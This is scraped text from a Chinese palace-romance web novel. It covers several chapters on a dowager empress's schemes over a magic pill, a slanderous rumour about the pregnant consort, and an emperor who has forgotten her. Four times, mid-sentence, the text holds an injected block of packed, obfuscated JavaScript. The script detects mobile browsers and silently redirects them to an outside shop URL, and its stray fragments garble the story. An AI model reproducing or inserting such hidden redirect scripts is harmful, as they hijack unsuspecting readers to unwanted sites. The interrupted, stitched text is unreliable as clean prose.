“你要带她走?” “我安顿好了阿虞,自然是再将夕儿接走,剩下的事情就由我来办。夕儿,她本该无忧无虑的,这些也不是她该背负的!” 陌姑姑敛眸,盯着安莫霖,声音凌冽:“你想将本宫的孙儿带到哪里去?” “贤妃娘娘不要忘了,那是你的孙儿,也是我的外孙,我不会伤害他!” “但是有本宫在,你别想带走安文夕!”陌姑姑的声音陡然变冷。 “她在这夏宫里不仅没有依靠,还处处受到排挤,而如今就连北宫喆也不记得她了,她留在这里还有什么意思?” 陌姑姑不怒反笑道:“她不会跟你走的!”她了解安文夕,她绝不是那种遇事逃避,而是喜欢倔着性子迎难而上的女子。 这次安莫霖倒是沉默了,半晌道:“这件事我自有主张,若是贤妃娘娘从中阻拦,就不要怪我不客气了!” 安莫霖说完,身形一闪,便消失在了茫茫夜色中。 陌姑姑眸光深深,转身回了未央宫,她刚踏进寝殿,就听见了安文夕绝望的喊声。 “不要,不要——” 她的眸光一敛,立即掠身而去。 安文夕半坐着身子,满头大汗,犹如从水中捞出来的一般,双目瞪的浑圆,怔怔的盯着前方。 “做恶梦了?”陌姑姑递过去了一杯水。 安文夕喝了水了,惊惶的脸色才慢慢平静下来,只是她再也睡不着了,捧着茶盏发呆。 梦里的一切,真实的可怕,北宫喆怀中美姬无数,迷离的双目犹如经常浸泡在酒中一般朦胧,迷醉的眸光泛着清冷。神情冷漠,无比陌生的瞧着她。 她拼了命的想要朝他走去,而换来的却是他凌烈的长剑刺破了她的胸膛! 看着她呆滞的神色和眸子里还未曾消逝的惊恐,陌姑姑的心蓦地被扯痛,她坐在榻前,轻轻拍了拍安文夕的后背。 似乎她从未做过这个动作一般,竟然十分僵硬。 “睡吧,我在这里守着你。” “不了,我不想睡。”她怕一闭上眼就会再次回到那个梦里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622045|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的身子哪能熬得住,睡吧。”这次,陌姑姑握上了安文夕的手,才发现她的手冰凉刺骨,就连刚才那一杯热茶都暖不热她的掌心。 安文夕的眼皮沉得厉害,双手被陌姑姑握在手中,心中一阵阵安心,就像小时候被母后搂在怀中一般,十分温暖。 看着安文夕轻颤的睫毛,陌姑姑第一次发觉她在害怕,原来她也有害怕的时候。 不管什么时候,眼前的女子总是一副淡然恬静的模样,遇事极其沉稳,仿佛一切都掌控在了手中一般。 她却忘了,这安文夕不过才是十六七岁,还是这般稚嫩的年纪而已。如此老成,就是她在十六七岁的年纪,也不曾有她的一半聪慧与沉稳。 她原是一国公主,却没有半分公主的样子,她见惯太多骄纵跋扈的公主,娇柔纤弱的公主,却独独没有见过她这般坚韧的。 突然,安文夕反握住她的手,手劲之大,竟令她微微皱眉,她的心里到底是怎样的凄苦,让她在梦里都不得安稳? 陌姑姑看向安文夕的眸光不觉间柔和了几分,诚如安莫霖所说,她本该是无忧无虑的,不该去背负这么多,那她的坚持是不是错了呢? 东方的天幕已现鱼肚白,而长乐宫内依旧阴寒昏暗,榻上的曹暮烟蓦地翻坐起来,摸向胸口处,那枚假的引魂丹没了! 她明明感觉到那个人来了,可是为何却寻不见他的半点气息?那样熟悉的感觉,即使是过了二十几年她也不会忘! 她不停地在床上翻找起来,试图找到他留下的半点痕迹,带到她看到那素净的方帕之时,万般珍惜的握在了手中,半晌竟痴痴的笑了。 曹暮烟慌慌忙忙从床榻上起身,跌跌撞撞的开始翻箱倒柜。 “我记得明明放在这里的,怎么没有了呢?” 沧月听到动静,立即赶来,看着满室的凌乱,微微吃惊道:“烟儿,你在找什么?” “沧月,你来了,你赶紧帮我找一下我以前收藏以前的那片方帕。” “方帕?你找它做什么?”沧月的心咯噔了一下。 曹暮烟手中的动作一滞,眉眼蓦地变得凌厉起来,“你,是不是将它扔了?” 她握着沧月的手劲大得惊人,沧月垂眸掩去眼底的失落,“没有,我怎敢仍?”她那么的在意,他自然是仔细的收了起来! 半晌,沧月从一旁的小匣子里取出一片已经发黄的方帕,递给曹暮烟。 “你看,不是在这里么。”沧月的声音很淡,却带了丝宠溺。 曹暮烟根本没有注意到沧月的情绪变化,从他手中夺下那片方帕,再比对着手中的这片方帕,她的眼角不觉湿润既然。 “是他,果然是他!”曹暮烟低声喃喃。 这二十多年来,他从未主动来找过她,即便昨晚他是为了引魂丹而来,她也觉得欣喜,毕竟他来了! 曹暮烟心中涌出一抹巨大的喜悦来,身子慢慢的滑坐在地上,她清晰地认识到即便是过了这么些年,她依然还是爱着他的。 而她心中所有的恨,也不过是爱而不得罢了! 第197章 生不如死 第一百九十七章生不如死 沧月看着一脸欣喜的曹暮烟,嘴角尽是苦涩,这么多年,她终究还是忘不了那个人,在她的心底,从来就没有他的位子吧,所以她即便对那个袭匀万分纵容,却从来不会考虑他的感受。 沧月深吸了一口气,他不敢去奢求什么,也不该去奢求什么,他不过是被她从奴隶市场买来的救下的一个奴才罢了,只想能够永远陪伴在她的身边,怎敢去奢求她的爱呢? 终究是他一厢情愿罢了。 沧月眸光黯了下去,转身推开房门。 “若是他发现那引魂丹是假的话,那么他会不会再来一次呢?”曹暮烟喃喃,然后蓦地抬眸,“沧月,你去将江向晚给哀家叫来。” “你原本不是打算……” “不,现在哀家改变主意了!”曹暮烟眸色晶亮。 “可是,若是他取走了引魂丹,那么莫虞就复活了,那你岂不是更没有机会了么?” “谁说哀家要让他取走引魂丹,哀家要将那引魂丹毁掉!”曹暮烟原本凄凄切切的眸中蓦地划过一抹狠戾。 她自然不能让那莫虞复活,不然他就更不会接受她了! “好。”只要是你想做的,我沧月会倾尽一切,哪怕是这条性命! “这两日皇帝身体如何?”曹暮烟突然发问。 “不记得安文夕了。” 曹暮烟淡淡点头,“将柔美人送去他身边伺候,还有等他大婚时,再招进宫几个美人,他身边的妃子实在是太少了。”她说着皱了皱眉。 “我挑选了一批舞姬,彼时会在皇上大婚宴上献舞,那些舞姬,个个倾国倾城,想必皇上一定会喜欢的。” “你看着安排便是,到时莫要让哀家失望。”曹暮烟说着再次端详手中的方帕,眸光如凝。 被曹暮烟传召入宫的事情,江向晚早就料到了,既然曹暮烟知道了那引魂丹是假的,自然不会轻易放过她! 联想起晚上那两个潜入她房间的人,竟然直接探向她的胸口,若不是她反应的快,只怕胸口中的引魂丹就被夺走了! 看来,最近想要这引魂丹的人还不少! 只是,这引魂丹是她江向晚的,至于别人,谁也别想! 江向晚掩去眼底的阴狠,由宫人引着进了长乐宫,穿过幽深的走廊迈入内殿。 而此时,曹暮烟就端坐在主坐上,虽然神情慵懒,但双眸却十分犀利,浑身散发着高不可攀的尊贵之势,居高临下的睥睨着江向晚。 江向晚眉头略皱,她最讨厌曹暮烟这幅高高在上的样子! 对于曹暮烟的出身她是知道的,不过是个庶出的小姐罢了,而且她**后宫,令她极为不齿! 总有一日,她江向晚会将她从那个位子上拉下来,让她匍匐在她的脚下仰视她! 她抿了抿唇,福身行礼道:“晚儿给太后娘娘请安。” 曹暮烟不急着让她起身,慢悠悠的打量着她的神色,看到她的双颊之上带着淡淡的嫣红,曹暮烟娇笑一声,“哀家瞧着晚儿的气色不错,比之前那副要死不活的样子好了太多,看来哀家的决定是对的。” 看着曹暮烟巧笑晏晏的样子,江向晚恨不得上前去撕了她那张妩媚的脸,她竟敢还敢提入魔一事,若不是她,她现在也不会变成人不人鬼不鬼的样子! 她咬牙道:“多谢太后娘娘。” “起来吧。” “多谢太后娘娘。” “过几日,你就要和皇帝大婚了,哀家也没什么送你的,只有一条手链,聊表心意。” 曹暮烟话音一落,沧月就呈上来了一个小碟,上面还盖着一层白布。 “江小姐,这可是太后娘娘珍藏多年的,江小姐要不要戴上让太后娘娘瞧瞧?” 江向晚眉头略皱,这曹暮烟是什么意思,她眸光微敛,还是伸手掀开了白布。 “啊!”待掀开白布,江向晚脸色立变,吓得脸上血色全无,顿时后退了两步。 看着江向晚吓得花颜失色的样子,曹暮烟眼底的冷意逐渐带了讥讽,冷嗤道:“怎么,晚儿不喜欢?” 她摩挲着金玉掐丝指套,红唇轻启,一脸惋惜道:“那就可惜了,哀家觉得没有比这个更能配得上晚儿了。” 曹暮烟眼底的轻蔑毫不掩饰,她就这么点能耐,还想跟她斗,真是无知小儿! 江向晚脸上的惊悚微微恢复,再次打量起被沧月拖着的那条手链,竟是用人的手骨一节节穿起来的! “多谢太后娘娘厚爱,这礼物晚儿只怕是无福消受。” “呵呵……你可知这东西是怎么来的么。”曹暮烟自顾自说道,“这是我用我母亲的手骨一节一节穿成的。” 这一声,声音不大,却如同来自地狱一般,令人心中一颤。 用她母亲的手骨…… 这曹暮烟果然是个疯子! 江向晚压下心底的恶寒,眸光微敛。 曹暮烟莲步轻移,缓缓拾级而下,一步步逼近江向晚,红唇扬起阴邪的弧度,“但凡得罪哀家的人,哀家绝对会让她生不如死!” 看着曹暮烟狠戾的眉眼,江向晚身形一震,而曹暮烟再次一步步逼近道:“引魂丹在哪?” “太后娘娘在说什么,晚儿不懂。” “哀家的耐心有限,可没工夫在这里跟你打太极。” “那日太后娘娘不是将引魂丹取走了么?” “怎么,还没有被立为后,就想着踩到哀家头上?”曹暮烟冷哼,眸光掠过江向晚噙着淡淡不屑的双眸,然后停在她的胸口,冷冷出声,“你说,若是前朝知道了这大夏的皇后中了噬魂魔,是半人半魔之身,他们还会不会同意呢?一个魔鬼怎能母仪天下!” 江向晚浑身一震,凤眸微眯,她在威胁她! 她抿了嘴角,迎上曹暮烟狠戾的眸光,上前一步,眸光落在曹暮烟的小腹之上,勾唇道:“晚儿想着若是太后娘娘老蚌怀珠的消息传了出去,也会在朝堂之上掀起一阵波澜吧。” 曹暮烟脸色丨微变,她竟然知道了! “呵呵……你以为你能安然出了哀家这长乐宫?”曹暮烟的声音陡然升高,变得冷煞。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626901|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “太后娘娘这是在威胁晚儿么,晚儿来的时候可是先和张公公说了一声,待会去琼华殿看望皇上,若是晚儿迟迟不去的话……” “沧月,动手!”曹暮烟还没有这个耐心和她浪费口舌! 她眼底的不屑更盛,仅凭这还想威胁她,她曹暮烟最讨厌的就是别人的威胁! “你敢!”江向晚没有想到曹暮烟竟然如此嚣张,忙后退了两步,死死盯着不断上前的黑衣暗卫。 为首的沧月无须的面上浮现一抹讥讽,“江小姐还是不要做无谓的挣扎。” 就在这时,一个小宫女疾跑了进来,“太后娘娘,太后娘娘,左相大人来了!” 江向晚顿时一喜,爹爹来了,那曹暮烟今日也绝不能拿她怎样! 曹暮烟闻言脸上的阴狠渐收,冷冷道:“传!” 江佑城脸上尽是担忧,进殿看见江向晚安然无恙这才松了口气。 “老臣给太后娘娘请安。” “江大人起来吧,哀家刚才正和晚儿说话呢。” “大婚之前,本不该进宫,让太后娘娘见笑了。” 曹暮烟褪下手腕上的两个手镯,递给江向晚道:“哀家招晚儿进宫是想给她添妆罢了。” 看了刚才的那手骨手链,再看这两只泛着幽光的手镯,江向晚依旧觉得十分渗人,接过曹暮烟递来的手镯立即放进了袖兜,“多谢太后娘娘。” “你们退下吧,哀家累了。”曹暮烟看向江向晚的眼神多了抹凌厉与警告。 出了长乐宫,江向晚顿时松了口气,只听江佑城道:“以后你少来这长乐宫,这曹太后喜怒无常,没准她今天喜欢你,明日就恨不得将你置之死地!” “晚儿谨听爹爹教诲。”这一点,她深有体会。 “走吧,你是待嫁之身,出现在宫里会被认为不吉的!” 江向晚跟在江佑城身后,眸光看向了琼华殿,不舍得随着江佑城出了夏宫。 没有拿到引魂丹,曹暮烟不甘心握着拳,眸光阴冷无比。 接下来,一连两日,安莫霖都没有再来长乐宫。曹暮烟有些坐不住了,不断地派人在暗地里加大搜查,可始终一无所获。 而承安的茶肆酒楼之中突然传出了一则骇人听闻的言论,据传皇贵妃腹中之子并非皇上亲生而是慕容清的孩子。这是自从洛城之战后,慕容清再次被人们谈起了。 一时之间,这则流言在承安掀起了巨大的波澜,众人根本不去追究这条消息是真是假,只将这条消息当做茶前饭后的谈资,而承安,可是许久都没有出过什么八卦了。 他们可是对这位皇贵妃好奇的紧,从一位**公主到祸国宠妃,如今又与慕容清扯上了关系,这也算是一段传奇了。 当这流言传入安文夕的耳中之时,她的表情平静的如一汪湖水,半点不起涟漪。 “夕姐姐,你怎么能这么淡定呢?”女人的名节可是比命还重要,即使是她月无双大大咧咧,对于这样的事,也足够让她又羞又气了,可是她面前的女子却半点不在意,犹如在听寻常的事情一般。 第198章 如此记恨 第一百九十八章如此记恨 一旁的陌姑姑也皱眉,饶是她性子再沉稳,遇到这样的事情也不该如此平静吧,在平常的百姓家里,出了这样的事情,都是要被沉塘的,更别说是帝王之家了! “公主。”久久没有开口的欢凉突然出了声,“花姑姑已经着手去解决谣言的事情了。” 安文夕睫毛轻颤,沉声道:“谣言止于智者。” “公主……” 陌姑姑看着欢凉吞吞吐吐的样子,看了一旁的月无双一眼道:“我们先出去吧。” 待陌姑姑和月无双走后,欢凉这才急道:“公主,这可怎么办才好?”如今皇上本就不记得公主,偏偏还出了这样的事情,这次若是那曹暮烟存心发难,只怕皇上会不管不顾,这可怎么办好! “对于流言这种事情,总是不断更替的。” “公主是说……”欢凉眸子顿时一亮。 “若是再有一件事情比这一则流言更加迅猛,想必大家也不会再热衷于这则流言了。” “公主想让欢凉做什么?” “附耳过来。”安文夕在欢凉耳边交代了几句。 欢凉疑惑着看向安文夕道:“公主怎么确定是她做的?” “除了她,我想不出还能有谁有这般心思。”安文夕眸光微沉。 “欢凉明白了,这件事欢凉一定办好。”她说着从袖中取出一封信来递给安文夕。 安文夕看到信封上熟悉的字迹,心中一暖。 她匆匆浏览了一遍上面的内容,心中微惊,父皇要带着母后去枫月谷了! 上面父皇还告诉了她一处他早年购置的产业,让她离开夏宫去那里安养,过一段日子他会过来接她一同去枫月谷。 可是,她目前恐怕不能遂了父皇的愿了。 信到最后,父皇还提及了一句晟哥哥,并告诫她,不管如何,安景晟永远姓安,永远是她的哥哥,他不希望看到他们二人反目成仇。 收了信,安文夕的心思已经几次辗转,“欢凉,随我去琼华殿吧。” “公主,你去那里做什么?如今刚刚出了这样的流言,皇上他……” “我若是躲避,不就刚好坐实了这流言了么?” 欢凉轻挽黛眉,好像公主说的也有道理。 月无双看着安文夕步履纤纤出了未央宫,心中涌出阵阵心疼,看向陌姑姑道:“夕姐姐真的好可怜。” 陌姑姑眸光深深,转身进了小厨房。 安文夕来到琼华殿的时候,却被守门的小太监拦住道:“皇贵妃娘娘,皇上说了,不许你再踏进琼华殿一步。” 他犹豫了一下,接着道:“皇上还说,但凡皇贵妃送的东西全部扔出去。” 安文夕嘴角轻抿,她上次不过是亲了他一下,竟令他如此记恨么。 “皇上可在里面?” “回皇贵妃娘娘,皇上这几日都在南书房处理政事,已经很少在这琼华殿了。” “公主,我们还要去么?”欢凉开口询问,未央宫离这琼华殿虽然不远,但是还是有一段路程,而琼华殿到南书房之间的距离就远了。 “去,既然都来了,自然要见他一面的。” “那我去给公主要一辆辇车吧。” “不必了,散步对宝宝好。”安文夕轻抚上小腹。 安文夕走得很慢,既然北宫喆在处理政事,想必一时半会也没时间见她,索性她就慢悠悠的走去南书房。 正是初夏的季节,不少妃嫔都在凉亭里观景纳凉,即便是安文夕不去理会,也耐不住别人存心想要找茬。 向来眼尖的彭安容远远地就瞧见了步履悠然的安文夕,转眸对一旁的众位妃嫔道:“哟,你们看,那位是不是皇贵妃?” 一侧的付美人盈盈笑道:“就数婕妤姐姐的眼最尖了,可不就是皇贵妃娘娘么。” 彭安容掩嘴而笑,“本宫远远的瞧着皇贵妃身子倒是清减了几分,竟有些认不出来了。”她说着对身侧的绿袖道,“众位姐妹都在此处,你去请一请皇贵妃来这里坐一坐。” “看着皇贵妃的方向像是去南书房找皇上,只怕是不肯来的。”付美人柔声道。 “哼,皇上是不会见她的。”彭安容冷哼,前两日安文夕被赶出琼华殿的事情,她是知道的,她还为此高兴了一番呢。 “皇贵妃娘娘请留步。” 安文夕转过身来,认出了身前的小丫鬟正是彭安容的贴身大宫女绿袖。 “启禀皇贵妃娘娘,我家娘娘同众位娘娘皆在凉亭纳凉,想邀请皇贵妃娘娘一同去坐一坐。” “不必了,皇贵妃娘娘还有事情,恐怕不能陪各位娘娘了。”欢凉凉凉拒绝。 “皇贵妃娘娘,嫔妾诚心邀请,您若是不来,嫔妾好生失望呢,更何况,皇上现在公事繁忙,只怕一时半会不能见娘娘呢。”彭安容浅笑着走来。 看着彭安容莲步款款的样子,安文夕勾起嘴角,“彭婕妤的伤好了?” 彭安容闻言脸色一变,这个安文夕绝对是故意提及此事,她咬了咬牙,恨恨磨牙。 “多谢皇贵妃娘娘记挂。” 彭安容离开凉亭之后,其他的几位美人也纷纷朝这边走了过来,行至安文夕身侧,微微行礼道:“嫔妾给皇贵妃娘娘请安。” 安文夕扫了眼众人,除了彭安容其他的都仅仅是脸熟罢了。 “晴妃没来呢。”安文夕轻道。 “哼,如今晴妃娘娘可是大忙人呐,这不江家大小姐即将入主中宫,皇上又将大婚布置一事交由她全权打理,如今,她俨然是后宫第一人了,嫔妾哪能请得动她呀。”彭安容轻哼一声,嘴角泛着淡淡的讥讽,又带了几分幸灾乐祸的意味。 你安文夕再怎么得宠,也不过和她们一样,是个妾罢了!一旦皇后娘娘入主中宫,你也得靠边站! 付美人立即圆场道:“说来这件事本应该由皇贵妃来打理的,只是皇贵妃有孕在身,皇上不舍得皇贵妃受累吧。” 说到有孕,彭安容的双眸更是毫不忌讳的盯着安文夕的小腹,今天的传言她也听说了,这安文夕肚子里的可不一定是龙嗣,没准倒真是慕容清的野种呢,虽然这流言不可信,但是既然传出来了,就不会是空穴来风。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626902|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看着彭安容淡淡不屑的眸光,欢凉顿时大怒,这彭安容只不过是一个小小的婕妤,也敢如此放肆,简直是找死! 彭安容顿时觉得头顶有一道狠戾的眸光锁着她,她抬眸正好对上欢凉冷冽的目光,她的心中立即一惊,随即双眸中涌出一阵阵恨意来,就是这个贱婢害得自己卧床一月! “你这个贱婢,谁让你如此盯着本宫的?” 欢凉不屑的收回眸光,这个行为彻底将彭安容惹怒,“你竟然如此藐视本宫……” “在本宫面前,也有你自称本宫的份儿?”安文夕清冷的声音顿时打断了彭安容。 “若是没什么事,本宫就不奉陪了,你们继续。”安文夕扔下这句话,转身走向南书房。 清瘦的背影,令人心旌摇曳,徒生出一抹怜惜,可是那一身傲骨却直直逼近人的眼帘,令人难以忽略。 彭安容的眼底犹如盘了一条毒蛇一般,目光毒辣而阴狠。 “彭丨姐姐莫气,皇贵妃娘娘就是这个性子。”付美人连忙劝道,而看向彭安容的眸光却多了分不屑,这件事明明是她主动挑衅,如今还气个什么? 安文夕走到南书房的时候,北宫喆议事还没结束,张海远远见她过来,忙行礼道:“奴才给皇贵妃娘娘请安。” “起来吧,皇上多久才能结束。” “这个奴才说不好,皇上有时在里面待的时间长,有时待的时间短。” 安文夕点点头,“本宫在这里等他便是。” 张海看了眼安文夕的小腹道:“皇贵妃的身子不便久站,不如到偏殿去等皇上。” 安文夕摇了摇头,“不必了。”若是因此而错过了,岂不得不偿失? “那……奴才遣人给皇贵妃送张椅子来?” “张公公,不用了,本宫在这里站着便好。”若是他出来看到自己像个大爷一般坐在这里,这怕会直接将她扔出去。 过了许久,南书房的大门仍然紧闭,安文夕双腿有些发酸,就在南书房门前慢慢的来回走动。 欢凉有些心疼的看了安文夕一眼,她不明白公主到底在执着什么。 就在这时,安文夕身后的房门吱呀一声被人打开,来人明显没有意料到安文夕会在门前,皆行礼道:“微臣参见皇贵妃。” “都免礼吧。”这几个**部分都是熟面孔,譬如易寒、风明等人。 “娘娘,皇上在里边呢。”易寒好心的提醒道。 “多谢。”安文夕浅浅勾笑,缓步踏入南书房。 结果,她刚刚踏进房门,就有一道阴鸷的眸光朝她逼了过来。 “出去!” 安文夕脚步一滞,还是不缓不慢的上前走去,抬眸迎上北宫喆有些不耐的眸光道:“皇上。” “朕说了让你出去,这里不是你来的地方。” “为何不能来,臣妾来此是来看皇上又不是来看折子的。”安文夕嘴角一直噙着浅笑。 北宫喆看着一步步走来的安文夕,素衣罗裙,倩影纤纤,虽不施粉黛,却清丽脱俗,宛若九天仙女一般,令人难以移开眼睛。 第199章 不该容她 第一百九十九章不该容她 “你是哪个宫的?”他的眼神比前几日又要陌生几分。 这么短的时间,他又将她忘了?安文夕蓦地压下心中的惊讶与苦涩。 “未央宫,安文夕。” 她蓦然抬眸,清冷的眸光撞进了冰凉的眼底。 北宫喆闻言睫毛轻颤,半晌似是想起了什么,抬眸看向她,鹰眸锐利。 “今儿一早的传言中说的便是你?”他的眸光在她的小腹处一闪而过。 安文夕的心顿时一痛,她不喜欢他的眼神,陌生中还带了丝不屑,仿佛她真的像外面说的那样不堪一般。 “你信么?”她的声音有些微颤。 “朕只信真相!” 他寒凉的声音在大殿中响起,一字字砸在了安文夕心中。 他不信她! 也对,如今的她对他而言只是个陌生人,还是个令他讨厌的陌生人! 安文夕握了握拳,想到来的目的,她咬了咬唇,攒出一抹淡笑,朝他走了过去。 北宫喆看着她一步步靠近,不耐的按了按眉心。 “出去!” 他的眸光落在桌案上的奏折时,眸色又深了几分,今日早朝呈上来的折子全是要求废黜皇贵妃的,偏偏这个女人一副不在意的样子,难道她不知道不论那流言是真是假,她都已经让大夏蒙羞,让他遭到天下人的耻笑,他于情于理都不该容她的么。 “累了就要休息。”安文夕迎着他冰冷而眸光走到他身侧,抬手欲按他的太阳穴。 北宫喆看了眼她的小腹,强忍着没有将她扔出去,然后侧身避开了她的手。 “够了!” “你以前最喜欢我帮你按摩。”安文夕压下心中的酸涩,再次抬手。 北宫喆的脸色越加冰冷,索性一拂衣袖,出了南书房。 安文夕有些颓唐的跌坐在地上,双眸酸楚,那样陌生的眼神,那样的避如蛇蝎,狠狠的刺痛了她的眼睛。 “公主,我们回去吧。”欢凉从地上搀起了她。 “好。”安文夕垂眸敛尽脸上所有的苦涩,勾起一抹淡笑。 欢凉叹了口气,“公主,你这又是何苦?” “我心里一直都抱有一丝希望,他会不会想起来我呢?我们一起经历了那么多,怎么能一下子就忘了呢?” 欢凉闻言再次在心底叹了口气,北宫喆中了那忘情蛊,自然会将公主忘得干干净净,这一点连她都清楚,而公主心思剔透,怎么会想不通呢,不过是当局者迷罢了。 回到未央宫,欢凉这才发觉安文夕的双脚以及小腿肿的厉害。 这必是刚才站久了才引起的水肿。 陌姑姑冷着一张脸,倒也没有责怪她,直接去了小厨房去烧洗澡水,由于张公公给未央宫添了几个小太监,洗澡水很快就被烧好送了进来。 泡在暖暖的水中,安文夕一身的疲倦也减了不少,她微微闭着眼睛,舒缓了眉头。 欢凉在一旁,时不时往里面添些热水。 半晌,安文夕清淡的声音传来,“引魂丹的事情,暂且压下来。” “是,是欢凉太过急切打草惊蛇了。” 既然欢凉和袭匀没能得手,那江向晚必定警觉,还有前两日,曹暮烟急着将江向晚招进宫来,恐怕也是为了引魂丹。她不明白的是,为何曹暮烟会突然改变了注意,竟还在大婚之前这么急迫的招江向晚进宫。 “派去盯着曹暮烟的人可有什么消息?” “消息倒是没有,只是最近曹暮烟加大了搜寻皇上和娘娘的力度,几乎在暗地里将承安掘地三尺。” “由于有孕,我最近倦怠了不少,最近承安可有什么异动,我总觉得这么平静反倒有些异常。” 欢凉抿了抿唇,犹豫了一下道:“没有,除了曹暮烟的动作外,别的一切正常,没有发现什么异常。” “那晟哥哥那边呢。” “晟世子他……他已经许久没有联络我和花姑姑了。” 安文夕蓦然转身,将欢凉脸上还没有来得及收去得神色尽收眼底,锐利的眸子直逼她道:“是不是出什么事了?” “没有公主,真的没有。” “没有?”安文夕黛眉轻佻,倒也没有深究,说道,“不久我便要动身前往南昭,你让花姑姑先安排几个人过去,到时也有个接应。” 突然,她像是想到了什么,立即道:“记得,不要再让秋水去南昭。” 秋水在南昭留下了不好的记忆,她不想再去揭开他的伤疤。 “是,欢凉明白。” 安文夕淡淡点头,看到欢凉加水的动作忙制止道:“不必了,已经泡太久了,脚都麻木了。” 安文夕泡完了澡,欢凉又给她捏了腿,浮肿这才稍稍好了些,用过午膳,安文夕躺在内殿小憩,欢凉和袭匀却一同出了夏宫,来到了凤青轩。 白日的凤青轩相对安静,只有大厅内几个零散的客人在听曲儿,花姑姑看到欢凉和袭匀前来,引着他们进了密室。 “我刚刚查明今日针对公主的谣言是江向晴散发出来的,而她背后那个人正是江向晚。”进了密室后,花姑姑的脸色立即一沉。 “这一点,公主已经猜出来了。不过,同样,公主也会送一份大礼给江向晚。”欢凉靠近花姑姑交代了几句,花姑姑顿时了然。 看的袭匀一阵挑眉,“有什么话,就不能直接说么,竟然还当着我的面这样。” 欢凉没好气的白了他一眼,“这是女人的事情,你插什么手。” “好好好,我不插手,如今当务之急就是想把这些谣言平复下来,若是谣言越传越广,可是对小师妹没什么好处。” “这件事交给花姑姑便是。”花姑姑沉声道。 “皇上临走之前可有什么交代?”欢凉问道。 “皇上昨日倒是来了凤青轩一次,交代我们一定要保护好公主,至于晟世子的事情……”花姑姑说到这里,声音一滞。“皇上说晟世子性子偏执,只怕不会听我们的,他建立静华宫一事先让我们不必插手。” “这安景晟野心大着呢。”袭匀撇撇嘴,从很早以前他就看出来了,这安景晟觊觎着安国君的江山。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634993|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花姑姑瞪了袭匀一眼,对欢凉道:“这件事,你今日可有告诉公主?” “没有,但是随着静华宫的逐步壮大,我们瞒不了公主的。” “先瞒一阵子吧,最近公主的烦心事太多,就先不要拿这件事烦她了。”花姑姑叹了口气。 “要我说,这小师妹只要跟那姓北宫的扯上关系,这麻烦事就繁不胜数,这天下男人这么多,为何她就偏偏喜欢上了这个**呢?”当初他知道了小师妹身怀有孕,而北宫喆也对她宠到了骨子里,他自然是双手赞成小师妹和他在一起。 可是,此一时彼一时,如今北宫喆不记得小师妹了,小师妹再留在他身边又有什么意思,难不成看着他和别的女人拜堂成亲么? 欢凉狠狠的瞪了他一眼,这感情的事情哪能由得了自己。 “早知道就劝小师妹和楚君昱在一起了,多好。”袭匀小声哼道。 “你别忘了,楚君昱也是有皇后的,难不成让公主去给他做小么?” “现在在夏宫还不是一样做小。”袭匀撇撇嘴。 “你——”欢凉一时语噎。 “好了,你们都别吵了。”花姑姑抚了抚额。 “你们不在凤青轩,这凤青轩冷冷清清,你们一来,时刻都在斗嘴,我这头都要炸了。” 欢凉立即过去给花姑姑捏了捏肩,一脸讨好,“花姑姑,欢凉错了还不成。” “狗腿。”袭匀不屑。 欢凉不理会他,转眸对花姑姑道:“公主还交代了我一件事情,我差点都给忘了,公主说不久要动身前往南昭,让花姑姑先安排几个人进入南昭。还有,公主特意嘱咐了,不要让秋水去。” 提到秋水,花姑姑眸色一黯,自从秋水再次来到凤青轩之后,整个人比以前变了太多,一直带着面具,就连睡觉都不曾摘下,晚上经常梦魇,每每都是从梦中惊醒,平时再也不和人说话,大多时候都是一个人静丨坐,让她看了心疼。这凤青轩的孩子大多都是孤儿,皆是她一手拉扯大的,她待他们如同亲生,无涯已经去了,而秋水如今又是这样,她不禁叹了口气。 “我愿意去。”秋水从众人身后走来,他的舌头被割去一半,这一个月来他一直都将自己关在屋子里努力的学习说话,虽然如今依然说的口齿不清,但是众人勉强可以听懂。 短短几日不见,秋水又清瘦了不少,平时他都是将自己一个人关起来,今日倒是主动出来走动。 “秋水……”欢凉心疼的看着他,眼眸中迸出点点惊喜,“你可以说话了?” 